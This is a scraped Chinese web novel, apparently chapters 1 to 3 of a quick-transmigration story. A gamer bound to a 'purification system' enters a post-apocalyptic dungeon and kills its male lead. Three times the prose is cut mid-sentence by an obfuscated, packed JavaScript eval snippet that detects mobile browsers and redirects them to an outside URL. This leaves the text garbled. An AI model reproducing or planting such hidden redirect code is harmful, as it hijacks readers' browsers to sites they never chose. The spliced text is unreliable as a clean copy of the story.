《禁止迷恋反派![快穿]》 1. 暴君与地下城(1) 一片荒原上,一个身影等待着。 那是一个女人,一身黑色,作战靴包裹着小腿,肌肉绷紧。 5,4,3…… 她在心中默数。 忽然!荒原如同环境破碎一般消散而去,她坠入无尽蓝黑色的虚无中。 在荒原之下,居然是一片数据织就的海! 黑色,蓝色…… 她迅速扫过目之所及的一切,眼神坚定锐利,锋芒迫人。 [警告!警告!] [服务器维护中!请玩家立即登出!] [请玩家!#立&即、登*!] 她抬手一鞭抽碎了黑色的提示框,抬眼时,眼神顿住—— 找到了。 在一片蓝黑色交错中,一条红色的数据流格外抢眼。 她快步上前,踏过一条条数据流,高高跃起,抓住了一条即将逃跑的红色数据。 「闵朝言?你怎么在这里?游戏现在正在停机维护——啊啊啊!别杀我别杀我!」 一个声音响起,介于少年与孩童之间的青涩嗓音,有些沙沙的电子质感,但并不难听。 “你污染了我的收藏品。” 被称为闵朝言的女人声音森冷。 她掌心施力,眼见着就要捏碎整条数据链。 「污染?我?!冤枉啊!我才是受害者好不好!」 少年声音中带上不可置信,红色的数据线挣扎着,想要逃跑。 挣扎间,她掌心的伤口被流动的字符撕裂,红色数据链一顿,余下的部分如小蛇一般缠绕住她的手臂。 「你居然,居然是——」 掌心伤口处传来皮肉骨血一齐被撕裂粉碎的巨大痛苦,闵朝言没有听到后半句话,眼前一黑,晕了过去。 不知过了多久,闵朝言再睁开眼,眼前是一片浓郁的黑色。 她瞎了? 闵朝言眨眨眼,感受到布料在眼球上摩挲时的酸痛,放下心来。 哦,只是眼睛被蒙住了。 闵朝言松了一口气,她暂时没有考虑体验盲人生活的计划。 「你终于醒了!」 耳边,不对,是脑海中传来一个少年音,她好像在哪里听过? 她想起来了,在游戏数据库里,那个闵朝言的寻仇对象。 她想起这件事就牙痒痒。 作为一个继承了巨额财富的孤儿+无业游民,闵朝言最近沉迷上了一款风靡星际数十年的全息游戏——《物·源》。 这个全息游戏最大的特点就是,游戏中的一切都由玩家建立。 服务器开启时,游戏只是一片虚无和荒芜。 玩家们一步步建立起各种缤纷不同的文化和城池,而服务器则根据这些创造,自动演化生成了一个个剧情副本,供玩家观赏或体验。 《物·源》之所以能够长久获得星际人民的喜爱,主要在于,它满足了几乎所有玩家的需求:基建、艺术、战斗、生活,等等玩法,不一而足。 甚至,它还可以满足闵朝言这样毒瘤玩家的需求, 她的玩法,是抢劫。 抢什么? 不重要,好玩就行。 不给抢? 没关系,杀穿就行。 今天抢一下某玩家帮主的超神武器,扔进必须死一百次才能出来的魔鬼洞穴;明天抢一下某生活流宗师的满级炼丹炉,放到角斗场里当末流奖励;至于后天嘛…… 看谁倒霉咯。 凭借着超强战力和抢劫癖好,闵朝言进入游戏一个月,就强势登顶游戏红名榜和玩家仇恨榜,玩家论坛发贴只要敢带她大名,必定飘红三天。 她抢了很多扔了更多,只留下几个有意思的,当作收藏品。 其中,她最喜欢的是一颗精灵卵。 在《物·源》中,每一个精灵都独一无二,有自己的思考和性格,它们不是被数据操控的NPC,也不是玩家,而是几近完美的AI生物。 闵朝言很想有一只自己的精灵。 她很期待这个收藏品的诞生,直到—— 精灵卵被污染,精灵无法诞生,死在了卵里,只留下一串破碎的红色数据流。 是什么污染了她的精灵卵?! 愤怒的闵朝言开始排查。 那些恨她的玩家? 不可能,他们太弱了。 不是玩家,就只能是游戏。 《物·源》这个游戏里,有什么东西污染了,毁了她最爱的收藏! 闵朝言要复仇,要碾碎那个打破了她期待的东西。 趁着游戏服务器维护,闵朝言躲过强制下线,闯进了游戏数据库,打算把罪魁祸首揪出来,再然后,就遇见了这个红色数据流。 ‘你毁了我的精灵卵。’ 闵朝言在心里说。 「我不是污染源,你误会了!我只是一个无辜的系统啊!」 自称系统的少年音求生欲极强。 闵朝言皱眉,显然,她不满意这个答案。 「精灵卵?啊……我知道了!」 系统急忙说。 闵朝言眼前弹出一片虚拟造景,那是游戏服务器的概念图,在一片蓝黑色中,星星点点的红色在不断蔓延,犹如蚕食。 「你看,这个红色的就是堕灵传播的病毒。之前主系统服务器被堕灵攻击,为了保护沉睡中的主神,主系统只能用其他数据抵抗来自堕灵的污染,你的精灵卵,还有我的数据链……都在其中。」 系统声音越说越小,心虚又伤心。 堕灵?主神?什么东西。 ‘说清楚点。’ 她没那么多耐心。 「……好。」 系统蔫哒哒地回答。 在《物·源》的核心服务器中,有一位神明。 祂是数万年前神战的唯一幸存者,身受重伤,陷入沉睡。 祂的仆人主系统,创造了《物·源》这个游戏,希望以此集结星际中玩家们的精神力,将祂唤醒。 这位神明的本体稳定着服务器,让游戏的引擎强大到可以让星际数千亿玩家同时登陆和游玩; 而祂的意识,散落在无数个服务器演化生成的剧情副本里,成为维持那些副本运转的核心能源。 「玩家们创造游戏中世界时,会投入自己的精神力,这些精神力看似渺小,但汇聚在一起,却能成为极其强大的力量,逐渐唤醒伟大的神明。」 系统说着,声音低下来, 「可是,最近游戏中出现了一个奇怪的力量,主系统称呼祂为“堕灵”。祂能感染游戏中的一切,尤其是剧情副本!那些副本关联着主神的意识碎片,一旦被彻底污染,对主神会造成重创!」 「为了保护主神,主系统才创造了我,“净化系统”。我会绑定任务者,进入那些已经被堕灵污染的副本,祛除污染,修正剧情,也是保护主神。」 系统说。 ‘堕灵?好土的名字。’ 闵朝言挑眉。 「额,主系统起名的风格是比较传统。」 系统想到自己同样直白的名字,咳了一声,又说, 「就在我寻找宿主的时候,你出现啦!我一碰到你的伤口,就自动和你绑定了,超级契合,多有缘份!」 ‘绑定,还是绑架?’ 闵朝言冷冷问。 「虽然……的确没有事先征求你的同意,不过,你要为你的精灵卵报仇,一定也是要去找堕灵的!有我帮你,肯定好过你自己去嘛。」 系统心虚地推销自己。 「我们现在正在堕灵污染的第一个副本里,污染已经蔓延得很严重了。我们需要尽快找到男主,祛除他身上的污染,然后能让剧情走回正轨。」 系统说,又补充, 「拔除污染之后,我可以解析这些污染痕迹,找到堕灵的动向,陪你去报仇!」 它说得其实有几分道理。 闵朝言相比一般的玩家对数据更敏锐,但她的确缺乏追踪堕灵的手段。 但她一定要找到那个家伙。 闵朝言很早就决定过,所有让她愤怒的东西,她都要毁掉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272333|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘成交。’ 她抬手扯掉自己自己眼前的黑布,一阵强光打来,直直刺进她眼中,带来灼烧一般的刺痛感,在一片白茫中,她不受控制地流下眼泪来。 「诶?你就这么同意了?」 系统反而愣了。 ‘你没查过我的登陆时间吗?除了强制登出的三个小时,我本来就一直在游戏里。有什么区别?’ 闵朝言反问。 哇,真是除了游戏没有别的人生啊…… 系统在心里感叹。 它没敢说出来,担心自己真的被捏碎数据链。 “啊,你已经醒了?” 一个男声传来,伴随一阵平缓的脚步声。 “抱歉,我应该提前关上这盏灯的。你还好吗?” 那声音十分柔和,关切与歉意都恰到好处,与此同时,一块散发着凉意的手帕缓缓覆盖在她的眼皮上,缓解痛意。 闵朝言感觉到眼前的灯光被关闭,有人用丝帕擦去她的眼泪。 眼前模糊的场景渐渐聚焦,她终于看清眼前人。 白净,柔和,秀美,又绚烂到极致, 即便是最善于描绘美丽篇章的诗人,也会在他的面容前词穷,即便是最善于渲染墨韵飘逸的画家,也会在他的美丽前驻笔。 这样矛盾而和谐的美,简直仿佛神明在创造他时,在踌躇不定间精心雕琢的证据。 他穿着一身白色,眼眸如湖水湛蓝,却是再朴素的衣着都无法掩饰的光彩灼人。 「男主出现了!太好了,我们可以直接开始尝试净化男主了。这是男主版面,还有这个副本的原本剧情大纲。」 随着系统的声音,闵朝言视角中,男主身边展开一个光幕: 「姓名:予烬」 「身份:“畸变末日”副本—男主角」 「年龄:未知」 「状态:虚弱」 「战力:9/100」 「污染进度:??%」 好弱。 这个战力值,让闵朝言怀疑自己看错了。 一般玩家的战力值都有30,闵朝言自己的战力值是91。 就连刚刚诞生的治愈系玩家,战力值也普遍在15上下。 9的战力值…… 果然是圣父系柔弱研究员男主才会有的数值。 这个副本叫做《末日畸变》。 十年前,疯狂反派研究出了一种病毒,它的传播链极广,传播速度极快,这种病毒会导致动植物发生畸变,形态不一,唯一相同的是——都对人类有极强的攻击性。 一夜之间,无数人死于它们之手。 人类试图抗争过,但再强大的武器,也无法摧毁这个地球上所有其他生灵。最终,幸存的人类们被迫躲进钢铁铸就的地下城里。 这是前史。 副本剧情很简单。 男主,也就是予烬,是一个地下城的孤儿,在街上流浪时被组织“希望联盟”收养,联盟中人们的善良治愈了他幼年时因为遭受苦难而充满怨愤的内心。 在成年后,他成为了联盟中第一研究员,发现了畸变病毒已经开始逐渐感染人类的惊天危机。 接下来的故事,就是圣父研究员予烬过五关斩六将,拯救加感化了一众敌人,顺利打败妄图用畸变病毒毁灭全世界的大反派,并最终研究出畸变病毒的解药,让人类重新回到地面之上。 算是个传播友爱善良的末日寓言。 在这个故事中,男主角予烬还有一个隐藏身份:大反派唯一的孩子,反派在他出生前就编辑了他的基因序列,使他永远不会感染畸变病毒。 这是男主最大的金手指,在这个基础上,他才能以自己为研究对象,制造出病毒疫苗,拯救人类。 「但是,因为堕灵的污染,这个副本中的畸变病毒,也发生了变化——它变得不可治愈了。甚至连男主都……」 系统的声音沉重起来。 闵朝言看着予烬湛蓝色的瞳孔,说出了系统欲言又止的部分。 ‘他也被病毒感染了。’ 2. 暴君与地下城(2) 「堕灵的感染会让男主走向黑化。如果污染进度满了,这个副本就彻底没救了。」 系统忧心忡忡。 「可是我……检测不到具体数值。」 副本主角的被污染程度,代表着他们的“黑化进度”。 在副本中,维持整个副本世界运转的是主神的意识碎片,这些碎片虽然没有“醒过来”,依然可以用强大的潜意识,来影响世界。 比如说,选出一个“主角”,决定这个副本的“剧情走向”。 副本的原剧情,就是主神意识碎片希望这个副本走向的结局。 堕灵会污染副本中的一切,直到祂彻底腐蚀主神在这个副本中的意识碎片。 到了那个时候,身处于副本中的闵朝言和系统,自然也不会有什么好下场。 ‘也就是说,主角的污染进度就是悬在我们头上的剑,但是,你却不知道这把剑会什么时候砸下来砍死我们?’ 闵朝言挑眉。 「对、对不起……」 系统觉得自己赛博眼泪都要吓出来了, 「但是,一旦污染进度满值,我们就会被踢出去了,所以现在,肯定还没满!」 它说。 ‘对,就像你死的时候,就一定会死,所以现在你还没死。’ 闵朝言平静地复述。 「不会不会的,你这么厉害,你一定会有办法的!游戏里几千个玩家追杀你,你都能反杀呢!」 系统觉得自己如果有实体,现在一定在给闵朝言殷勤地捏肩膀当狗腿子。 ‘安静。’ 闵朝言说。 “你还好吗?是嗓子不舒服吗?” 予烬的声音传来。 闵朝言抬眼看着他,眼神平静而专注,似乎毫不在意予烬那张美人面,因为她的目光而渐渐泛起一点红晕。 “你,在看什么?” 予烬顿了顿,用手背轻轻碰了一下自己的脸颊。 “你,说你救了我。” 闵朝言开口。 直到这时,她才有了自己曾经昏迷多时的实感:喉间一片干涩,说话时声带仿佛撕裂,最让她烦躁的,是手脚四肢无法自由活动的拘束感。 闵朝言轻轻用脚后跟碰了一下椅子腿,提示对方自己现在还被绑着束缚带。 “抱歉,为了安全考虑,我还不能给你解开。” 予烬脸上流露出一种近乎柔顺的歉意,这份歉意过于完美,几乎像是真的。 “你怎么救的我?为什么要救我?” 闵朝言问。 予烬的表情顿了一下,因为闵朝言不仅没有表现出善意的意思,甚至还在质问他。 这是不合逻辑的。 在一个未知的地方醒来,自己身受束缚,无法确定敌人的底细和深浅, 任何一个但凡有一点点警惕和戒备心的人,都会先观察环境,判断风险,谨慎行事。 但闵朝言没有。 予烬很清楚这一点,因为这人从醒来的第一秒开始,就一直在盯着他的脸看! 这个人,这个人…… 予烬咬牙。 “是我的同伴们在城外发现了你,他们……” 予烬说了半句,又改口, “我让他们来和你说吧。” 他说完,就直接走了出去,将闵朝言单独留下。 「男主怎么回事,他不是散发着友爱全世界光芒的圣父吗?这就退缩了?他好ooc啊!」 系统忿忿。 ‘他会回来的’ 闵朝言回答。 予烬依然绑着她, 说明他有和闵朝言进行下一步接触的计划,为此需要保护他自己的安全。 这个人很弱,所以非常惜命。 闵朝言想着,环视一圈,终于看清了自己如今所处的环境。 这是一个生物实验室。 规整方正,并不算大,一眼可见全貌,其中各种仪器琳琅满目,整齐摆放着。 在原剧情中,予烬是一位天才研究员,资金并不充裕的希望联盟大力支持他,为他建立起一个在地下城中堪称豪华的实验室。 这个实验室是剧情中最重要的场景之一,就是在这里,予烬发现了畸变病毒已经可以感染人类的惊天秘密,研究出了畸变病毒的解药。 闵朝言的视线落在展柜上,那里面放着几十个颜色各异的玻璃试剂瓶。 不符合常理的是,瓶身上没有任何标签,任何信息。 ‘系统,现在的剧情到了哪里?’ 闵朝言问。 「额,就是,剧情刚开始,予烬发现畸变病毒已经可以感染人类的时候。」 系统支支吾吾。 ‘我在这个副本的身份是什么?’ 她又问。 在《物·源》中,剧情类副本是一个很特殊的存在,玩家体验副本时,不会以具体角色进入副本,而是成为副本角色的跟随视角。 这个跟随视角是随机的,甚至不局限于主角,也可能是配角,反派,甚至路人甲。 玩家们可以看到自己跟随角色的动作,心理活动,甚至可以消耗游戏积分和他们进行沟通。 「因为这个是剧情类副本嘛,你作为玩家要参与进来,需要一个副本内身份才行,时间紧任务重,我进副本的时候没法挑……」 可是,对于作为系统任务者的闵朝言来说,只当背后灵是绝对不够的,她需要介入副本,改变已经走偏的剧情。 她需要一个副本内的身份,因此,系统才会安排她直接顶替副本中的NPC。 「所以,你现在的角色是,怕被别人发现自己感染了病毒而仓皇出逃,在路上奄奄一息被男主发现捡回来,但是又不幸死在实验室的,第一个畸变病毒人类感染者。」 系统眼一闭心一横,豁出去了一般。 闵朝言其实并不在意自己是个炮灰,NPC设定而已。 她到底是什么,不是一个游戏副本可以定义的。 不过,她也不会和系统解释这种事情,即使这会让系统的惊恐神经放松下来。 她开始思考自己的现在的身份设定: 第一个畸变病毒感染者。 一个为了让男主发现畸变病毒危机而出现的次抛NPC。 闵朝言手腕一用力,柔性钢材制成的束缚带被直接扯断,落在地上。 她活动了下手腕,随后解开脚上的束缚带,站了起来。 她走向实验室里的那些仪器,一个个看过去,系统在她的视角中给每一个仪器都打上了名称: 生物显微镜—— 病毒模拟编辑器—— 气溶胶扩散测试舱—— …… ‘你能解析予烬在做什么研究吗?’ 闵朝言问。 在原剧情中,闵朝言的到来才让予烬发现了畸变病毒也会感染人类,这个惊天危机,拉开了整个故事的序幕。 但现在情况改变了, 因为堕灵对副本的污染,予烬已经失去了“不会被感染”的金手指,甚至他自己已经被感染了。 作为顶尖研究员,予烬不可能察觉不到自己身上的变化。 他的研究方向也不可能还和原剧情中一模一样了。 数据流动声中,系统回答: 「搞定!根据目前分析结果,他依然在研究畸变病毒,只是研究对象发生了改变——这里没有动物样本存在,可能他已经开始以自己为样本进行研究了。」 这和原剧情的走向是一致的,只是这一次,他不再是“不可被感染”的天选主角, 而是最开始被感染的倒霉样本。 ‘你能分析出那些瓶子里面是什么吗?’ 闵朝言走向展柜上那几十个玻璃试剂瓶,抬手要拿。 「先别动,这里有个自毁装置,如果非授权人员的指纹碰到了里面,这个柜子会马上自毁。」 系统回答。 ‘你不能解开?’ 闵朝言问。 「副本的核心是主神的意识碎片,祂的权限远高于我,所以我无法直接影响副本中的存在。如果你能找到他的研究数据,我可以帮你进行解析。」 系统回答。 「这个柜子上,有很重的堕灵气息残留,里面的东西一定很重要。」 ‘一定要他活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272334|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着才能打开吗?’ 闵朝言问。 「额……尽量还是活着?」 系统小声说。 闵朝言不置可否地点点头,环视一圈,没发现电脑或者任何数据存储设备。 看来,即使是在自己的实验室里,予烬也很警惕谨慎。 为什么? 闵朝言有种预感, 找到这个答案,她才能真正知道予烬在研究到底是什么。 暂时把展柜里的试剂放到一边,闵朝言的视线落在不远处的生物显微镜上,那上面正放着一个切片。 切片内部,暗红色的血液缓缓流动,破碎,重组, 仿佛“活着”。 ‘按剧情说来,我要死了?’ 闵朝言说着,低下头看着自己的指尖。 那上面,有一个几乎已经完全愈合的,需要极力观察才能被发现的针眼。 显微镜下是她的血液。 感染了畸变病毒的血液。 予烬采集了她的血液。 他希望从闵朝言身上获得什么问题的答案? 「不会不会的!」 系统说, 「这个副本里已经被堕灵污染了,那些畸变病毒也是。所以其实你只是被堕灵污染了而已,和我一样!」 ‘区别是?’ 闵朝言问。 「你不会被畸变病毒杀死,但是如果堕灵对你的污染彻底完成,你会失去自我意识,变成祂的傀儡。」 系统的声音沉重起来, 「就像我一样。」 ‘另一种意义上的死亡。’ 闵朝言笑了一声。 ‘让我猜猜,我们的死期和这个副本是一致的,对吗?’ 这个副本的剧情节奏很快,从男主发现畸变病毒,到真正拯救世界,只有72小时。 「不过,在那之前,我们还有时间!只要我们修复了这个副本,我就能开始解析堕灵的污染,延缓我们被感染的速度!」 系统又充满希望了。 它的情绪很简单,高低起伏反复,上一秒被吓的瑟瑟发抖,下一秒又重新积极开朗。 闵朝言觉得自己养了只数据小狗。 她低下头,看着自己掌心的伤口,那里的肌肤下面,仿佛有一条红色小蛇在游动,在蚕食闵朝言的血肉和生命。 这是她与系统绑定的开始,或许也是她被堕灵感染的源头。 [72:56:59] 倒计时开始转动, 它倒数着这个副本,也倒数着闵朝言的生命。 堕灵。 她低声念着这个不能被称为名字的两个字。 这个未知的存在,先是毁了她喜爱的收藏品, 又试图夺走她的性命。 濒临死亡这件事,反而让她开始感到真正的兴奋了。 闵朝言眼神熠熠发亮,笑容肆意。 她现在愈发期待与祂相见的那天了。 不能轻率,要认真想好,自己该如何撕碎对方。 实验室外, 予烬靠在墙壁上,抬手捂住自己的面容。 那个人一直在注视着自己。 想到闵朝言的视线,他俊美的脸颊此刻被内心升腾而起的火苗灼烧着。 那视线,起源于予烬这张美丽到几乎不真实的面容,如同予烬受到过的所有注视一样,却不是戏弄,不是凝视,也并非那些带着隐晦欲望的丑恶。 她在注视“美”,在欣赏“美”,但这与予烬无关。 他只是一个用来承载美的客体,一个工具,一个躯壳。 她注视着予烬, 予烬却知道,自己在她眼中并不存在。 不,不行,不能这样下去。 他缓缓睁开眼,瞳孔泛着水光,呼吸依然急促,脸上的红晕还没褪去,快感和愤怒一起袭来,恐惧与渴望共舞。 不能这样下去。 要杀了她。 他这么想着,像泄愤又像是压抑,用力咬住自己的指关节。 白皙如玉的肌肤下,靛蓝色的血液缓缓流动着。 他站起身,向来时的方向走去。 3. 暴君与地下城(3) 咔。 予烬走进实验室,脚下踩到一个东西。 低下头一看,就是已经断裂的束缚带。 他愣了。 予烬很弱,他自己也清楚这一点。 他的知识有多强大,肢体就有多脆弱。 可偏偏他需要长时间接触那些畸变怪物。 为了保护自己,予烬用上极其珍贵的柔性钢材制成了这些束缚带, 即使是最强大的,一爪子就可以将人类头骨拍成碎末的畸变虎,也无法在这上面留下任何痕迹。 而现在, 他珍贵的束缚带被直接扯断,扔在地上,像是什么被厌弃了的劣质玩具。 钢丝的断裂形态清晰,可以看出,闵朝言几乎没有受到太多阻力,因为她的力量足够强大。 轻易可以勒死他的东西,困不住对方三十秒。 “你回来了,” 闵朝言看向予烬,声音轻松。 予烬抬眼,视线看向她的手腕, 畸变虎发狂挣扎到将骨头折断,都无法挣脱的束缚带,居然只能在她手腕上留下一点红痕, 多么强大的力量。 闵朝言站在玻璃展柜面前,看着里面各种颜色的试剂瓶。 他只觉得浑身血液冰冷,头皮发麻,仿佛有一根根钢针刺入, 方才还沸腾的杀意被冻结,呼吸中的兴奋感却不可抑制地蔓延,这是强大猎食者锁定之后带来的肾上腺素飙升。 “……我回来了。” 他听见自己的声音说。 “你不是要去找你的同伴吗?” 闵朝言说着,指尖轻轻点了点玻璃柜。 “……我骗你的,我没有同伴。” 予烬沉默片刻,回答。 在面对比自己强大太多的敌人时,最好把对方预设得聪明一些。 这是他在死亡中学到的宝贵经验。 “哦,为什么要骗我?” 闵朝言俯身,看着予烬的眼睛。 又是这样的“注视”。 予烬喉结一动,呼吸放轻。 闵朝言在“欣赏”他, 欣赏他漂亮的恐惧。 她显然并不因为予烬的欺骗而愤怒,也是,猛虎怎么会因为爪子中的鹊鸟扑棱翅膀而生气? “对不起。” 予烬说。 他没有回答,只是示弱。 因为他看得出来闵朝言不在乎理由。 “这个柜子里装的是什么?” 闵朝言果然没追问,又问。 这是一个她想知道答案的问题。 予烬心想。 但他不能回答。 “你已经感染了畸变病毒。” 他说。 “我可以帮你,我一直在研究这个病毒。” “打开。” 闵朝言说。 这是一个命令。 予烬站起来,缓缓走近玻璃展柜,每走进一步,仿佛都听见自己周身骨骼发出的噼啪声。 怎么办,怎么做? 不能打开,打开了,他就会失去一切。 不能不打开,不打开,这个女人会让他失去性命。 性命和执念,哪个更重要? 予烬打开展柜,颤抖的手指落在一个透明的试剂瓶上,忽然稳住了。 “这是我最重要的研究成果,也是我的梦想。” 予烬的语气中带上一种梦幻般的期待,这让他的表情显得有些浪漫。 “从很久,很久之前开始,我就在期待这,将这个作品完善,公诸于世。你想看看吗?” 他转过身,看着闵朝言,那张漂亮到非人的面容,带着温柔到极致的笑意。 他在勾引她,在试图迷惑她。 这再明显不过,也再自然不过了。 闵朝言伸出手, 她没有设防,因为没有必要,就像老虎不会警惕乍惊的鹊鸟。 予烬看着她的眼睛,呼吸声很轻。 性命和执念哪个更重要,他也不知道。 所以他决定全部都要! 下一秒,试剂瓶被狠狠掷向闵朝言,她反手抓住,看似玻璃的材质居然在她手中瞬间溶化。里面无色的液体顺着掌心流下,散发出一股极其强烈的刺鼻气味。 闵朝言感到手心一阵热意袭来,低头一看,所有无色液体流经过的皮肤全部红得发紫,隐隐鼓胀而起,仿佛下一秒就要化作一滩血水。 “还挺疼。” 闵朝言笑出声来,看着自己掌心摇摇欲坠的皮肉,慢条斯理地说着。 ……该死。 就算杀不掉,连让她失去意识都做不到吗?! 予烬咬牙, 没有犹豫,他握紧拳头,果断地转身就跑! 可他刚跑出一步,忽然脚腕被缠住,动作一滞,整个人重重摔在了地上。 咚——! 予烬吐出一口血,靛蓝色的,像是被无意泼洒出的颜料。 他顾不上已经折断的肋骨,接着角度的遮掩,用白色研究服的衣角,颤抖着将它盖上。 “我这个人,不讨厌疼,但是,我讨厌别人让我疼。” 闵朝言的声音依然带着笑意,缓缓逼近他。 “!” 予烬被她踩住脖子,痛哼一声,努力放轻呼吸的节奏,不敢让自己的喉结碰到她的鞋底。 「冷静冷静!他是这个副本的主角,不能杀!」 系统大声说。 ‘不能?’ 闵朝言挑眉。 「主角是副本中和主神意识碎片连接最紧密的人,如果他现在死了,意识碎片震动,我们可能被踢出去的!」 系统觉得自己真是劳碌命。 都怪这个男主,他干什么非要反抗啊! 居然还想害它的绑定任务者!闵朝言脾气这么差,肯定要杀他的! 系统越看予烬越不顺眼。 ‘可能。’ 闵朝言说。 她的意思很明确,可能被踢出副本,就也有可能不会被踢出去。 「我先替你治伤吧!」 系统说, 「这个液体是极高浓度的堕灵病毒,如果不及时阻断,会损伤你的意识!真是,男主到底是怎么弄出来这个东西的……」 系统一边碎碎念着,一边在自己的赛博空间里翻箱倒柜,半响终于翻出来一个道具: [道具:净化·痛痛快停下!] [说明:一次性道具,可以冻结自身所受的负面状态] [时效:未知] 闵朝言看着自己的掌心,伤口下的红色小蛇似乎颜色更浓郁了,在烧红滚烫的皮肤下,居然也可以被观察到。 系统说得没错,她被感染的程度加深了。 「这个道具能够冻结负面状态,让你不会失去意识和记忆,但是它的力量不足以真正冻结堕灵那个水平的感染……它随时有可能失效。」 系统说。 ‘所以?’ 闵朝言挑眉。 「当道具失效的时候,你可能会失去记忆,甚至失去属于自己的意识。」 系统的声音凝重。 「我们之间的绑定是基于意识的,如果你失去意识,我就无法和你交流了。」 到了那个时候,没有记忆,没有意识,没有系统帮助的闵朝言,与死亡何异? 那不再是“闵朝言”了,只是一个不知来处,不知归途的幽魂。 “你胆子很大。” 闵朝言安静听完了系统说的话,反而笑了,俯视着脚下的予烬。 予烬也在看着她。 此刻,他发丝凌乱,唇色苍白,眼中带着惊恐和杀意,和一些比杀意更加浓郁炙热的东西。 他依然是美丽的,狼狈而美丽, 却不再显得温顺驯服了,反而带着十足的疯狂与仇恨,这仇恨没有对象,因为他恨的东西太多太多了。 “我比你强,杀你,比捏死一只蚂蚁难不了多少,你自己也清楚,所以一开始,你很听话。” 闵朝言蹲下,用手中的束缚带碎片缓缓拍了拍予烬的脸,轻慢意味十足。 她很少会浪费精力故意羞辱他人,予烬得到的,绝对算得上“特别待遇”。 “我问你这里面是什么,你不回答,而是用我感染了畸变病毒这件事来转移话题,因为你不敢和我正面对抗。” 闵朝言问。 予烬没有说话,双手死死抓住闵朝言的手腕, 他当然是无法以力量和闵朝言对抗的,他自己也知道。 “但我要求你打开柜子的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272335|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你就知道,我不会放弃探寻这个柜子,所以你宁可冒奇险也要杀我。你为什么要做这么蠢的事? 因为是这个柜子里的秘密对你太重要了,重要到你必须孤注一掷,因为秘密一旦被发现,你就会失去一切,再多蛰伏也无意义。 而且,你对这个柜子里的东西足够自信,相信它可以帮助你除掉我。” 闵朝言说着,用手指强硬的掰开予烬的下巴,指腹划过他雪白的虎牙。 予烬下意识张开嘴,不敢去咬——闵朝言用的,正是刚在被他泼上了无色溶液的那只手。 她在看着我。 予烬无法控制脑海中的回响: 她在看着我。 不再是一个物件,一个漂亮的东西,是他这个人。 予烬,终于在她眼中“存在”了。 他双手握着闵朝言的手腕,竭尽全力也只能让自己的指甲陷进她的皮肤。 他闻到闵朝言身上的味道: 冷的,铁锈味。 “很聪明,很贪心,我承认,你还挺有意思的。” 她点点头。 指尖被虎牙的尖角刺破,滚热的血液滴落在予烬喉咙间。 “——!!” 予烬挣扎着,喉间被烈火焚烧的痛苦让他不住干呕。 “真漂亮。” 闵朝言掐着他的脖子,摆弄人偶一般看着他的脸,笑着说。 “连死的时候都这么漂亮。” “我是,予、烬。你……叫、什么?” 破碎的喉咙里挤出破碎的一句话,予烬双眼血红,死死盯着闵朝言的眼睛。 闵朝言才意识到, 她一直知道予烬是谁,因为她能看到角色面板,知道他的身份,他的设定,他那些已经被预设好的未来。 但予烬不知道她是谁。 这可怎么行。 “我是闵朝言,” 她说着,温热的吐息打在他耳边, “等你从地狱出来了,欢迎来找我。” 闵、朝、言。 他用唇无声描绘了一遍这三个字,眼神灰暗下去,呼吸消弭在空气中。 他死了。 「怎么办!男主死了,咱们会不会被驱逐出副本啊!」 系统慌了。 「你的感染现在很严重了,咱们赶紧去下一个副本找找办法吧!」 ‘你不管这个副本了?’ 闵朝言松开予烬的尸体,坐在地上,看着自己掌心那条血色浓郁近黑的小蛇。 「你都要死,肯定先救你啊!」 系统不假思索。 诶,是不是不太对? 它的最优先级不是任务吗? 系统心中短暂地闪过一个疑问,又被它自己甩掉。 没错!任务者健健康康才能完成任务,它的逻辑没有问题! ‘呵,真笨。’ 闵朝言笑了一声,闭眼靠在墙壁上。 ‘不用去下一个副本。’ 「嗯?那你怎么办?没有主角的副本很不稳固的,我们……」 系统疑惑。 ‘你说的是没有主角的副本,而不是没有予烬的副本。’ 闵朝言说。 在原剧情里,予烬是绝对主角,整个副本的原定剧情,都围绕着他的冒险展开。 但,那也只是“设定”而已。 归根结底,不是予烬的经历造就了副本,而是副本中的“主神意识碎片”,选择了予烬来演绎它想要的故事。 所以,系统才会一直认为,如果予烬死了,副本就会失去主角,就会摇摇欲坠,更加走向毁灭。 但真的如此吗? 「这、这是什么?天呐……」 在闵朝言的视野中,予烬的角色描述缓缓改变: 「姓名:予烬」 「身份:“畸变末日”副本—原主角(已废弃)」 …… 「状态:死亡」 副本倒计时还在继续。 [72:06:29] 果然如此。 闵朝言看着实验室天花板刺眼的灯光,心中的猜想被验证。 「主神的意识碎片选择了新的主角,现在就在实验室外。」 系统说, 「她是来杀你的。」 4. 暴君与地下城(4) 闵朝言没有去问门外的新主角为什么要杀她,这没有必要。 